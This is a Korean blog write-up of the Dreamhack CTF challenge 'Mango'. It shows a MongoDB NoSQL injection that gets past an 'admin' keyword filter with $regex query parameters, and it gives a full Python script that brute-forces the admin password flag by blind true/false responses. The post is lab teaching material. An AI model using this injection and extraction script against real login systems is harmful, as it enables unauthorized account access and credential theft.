Security/Write Up

[Dreamhack] Mango

2er0127 2023. 6. 11. 15:02

MangoDB를 사용한 NoSQL 문제이다.

 

 

문제에 접속하면 아래와 같이 /login 밑에 uid, upw가 있다는 힌트를 준다.

 

우선 코드를 먼저 봤다.

admin의 패스워드에 플래그가 있다고 한다.

 

 

아래에서는 ['admin', 'dh', 'admi'] 가 필터링되고 있는 것을 알 수 있다.

실제로 URL에 admin을 추가한 공격 쿼리를 입력하면 filter 라는 문자열이 뜬다.

 

uid가 admin인 패스워드를 구해야하는데, admin이 필터링 되고 있다.

 

이 때 쓸 수 있는게 $regex. 이다.

 

 

$regex은 지정된 정규식과 일치하는 문서를 선택하고, 

.은 임의의 문자를 의미한다.

 

 

즉, uid를 $regex를 써서 ad.in 과 같이 표현할 수 있다.

upw의 플래그 형식은 DH인데, 이 문자열도 함께 필터링 되고 있기 때문에 D. 와 같이 표현해준다.

 

 

정규표현식을 이용한 공격 쿼리는 다음과 같다.

/login?uid[$regex]=ad.in&upw[$regex]=D.{*

 

 

 

드림핵 로드맵을 따라 파이썬으로 코드를 짜볼 수 있다.

import requests, string

host = "http://127.0.0.1:80"
str_set = string.digits + string.ascii_letters
success = 'admin'

flag=''
for i in range(32):
    for ch in str_set:
        response = requests.get(f'{host}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == success:
            flag += ch
            break
    print(f"Flag: DH{{{flag}}}")

 

 

 

다음은 코드 설명이다.

host = "http://127.0.0.1:80"

host에는 공격 대상 URL을 넣어준다.

 

 

str_set = string.digits + string.ascii_letters

반복문을 통해 대입해볼 문자열들을 선언한다. string 모듈을 통해 간편하게 호출할 수 있다.

 

string.digits는 십진수 0~9를 포함하고,

string.ascii_letters는 영문 대/소문자를 모두 포함한다.

 

여기에 특수문자까지 포함하고 싶다면 string.punctuation을 사용할 수 있다.

 

 

for i in range(32):
	for ch in str_set:
	response = requests.get(f'{host}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')

코드를 보면 플래그가 DH{32alphanumeric} 32글자라고 힌트를 주고 있다.

 

첫 번째 반복문에서 32번 반복하고,

두 번째 반복문에서 위에서 선언해둔 문자열 SET을 넣어준다.

 

{}는 f''를 이용하면 포맷스트링으로 인식하기 때문에 {{처럼 두 번 써줘야 오류가 없다.

 

 

 

코드를 다시 보면 참/거짓의 blind 공격을 해야한다는 것을 알 수 있다.

 

참이면 uid를 반환하고, 거짓이면 undefined를 반환한다.

 

이를 이용해 response 문자열이 admin이라면, (참이라면)

문자를 하나씩 붙여나간다.

success = 'admin'

if response.text == success:
	flag += ch
	break

 

 

그럼 다음과 같이 출력이 되는 것을 확인할 수 있다.

 

 

728x90